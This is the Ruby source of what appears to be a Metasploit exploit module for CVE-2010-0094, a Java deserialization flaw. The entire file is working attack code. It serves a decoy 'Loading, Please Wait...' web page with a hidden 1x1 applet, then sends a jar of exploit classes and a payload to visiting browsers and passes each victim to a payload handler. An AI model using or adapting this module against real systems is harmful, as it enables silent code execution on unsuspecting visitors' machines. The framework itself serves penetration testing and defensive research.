118 lines
3.1 KiB
Ruby
118 lines
3.1 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
#
|
|
# Superceded by java_trusted_chain
|
|
#
|
|
#include Msf::Exploit::Remote::BrowserAutopwn
|
|
#autopwn_info({ :javascript => false })
|
|
|
|
def initialize( info = {} )
|
|
|
|
super( update_info( info,
|
|
'Name' => 'Java RMIConnectionImpl Deserialization Privilege Escalation Exploit',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in the Java Runtime Environment
|
|
that allows to deserialize a MarshalledObject containing a custom
|
|
classloader under a privileged context. The vulnerability affects
|
|
version 6 prior to update 19 and version 5 prior to update 23.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Sami Koivu', # Discovery
|
|
'Matthias Kaiser', # PoC
|
|
'egypt' # metasploit module
|
|
],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-0094' ],
|
|
[ 'OSVDB', '63484' ],
|
|
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html' ],
|
|
],
|
|
'Platform' => [ 'java' ],
|
|
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Mar 31 2010'
|
|
))
|
|
end
|
|
|
|
|
|
def on_request_uri( cli, request )
|
|
if not request.uri.match(/\.jar$/i)
|
|
if not request.uri.match(/\/$/)
|
|
send_redirect(cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
print_status("Handling request from #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
|
|
return
|
|
end
|
|
|
|
paths = [
|
|
[ "Exploit.class" ],
|
|
[ "Exploit$1.class" ],
|
|
[ "Exploit$1$1.class" ],
|
|
[ "Exploit$2.class" ],
|
|
[ "Payloader.class" ],
|
|
[ "PayloadClassLoader.class" ],
|
|
[ "payload.ser" ],
|
|
]
|
|
|
|
p = regenerate_payload(cli)
|
|
jar = p.encoded_jar
|
|
paths.each do |path|
|
|
1.upto(path.length - 1) do |idx|
|
|
full = path[0,idx].join("/") + "/"
|
|
if !(jar.entries.map{|e|e.name}.include?(full))
|
|
jar.add_file(full, '')
|
|
end
|
|
end
|
|
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-0094", path ), "rb")
|
|
data = fd.read(fd.stat.size)
|
|
jar.add_file(path.join("/"), data)
|
|
fd.close
|
|
end
|
|
|
|
print_status("#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...")
|
|
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
|
|
|
|
handler(cli)
|
|
end
|
|
|
|
def generate_html
|
|
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
|
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
|
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
|
|
html += "</applet></body></html>"
|
|
return html
|
|
end
|
|
|
|
end
|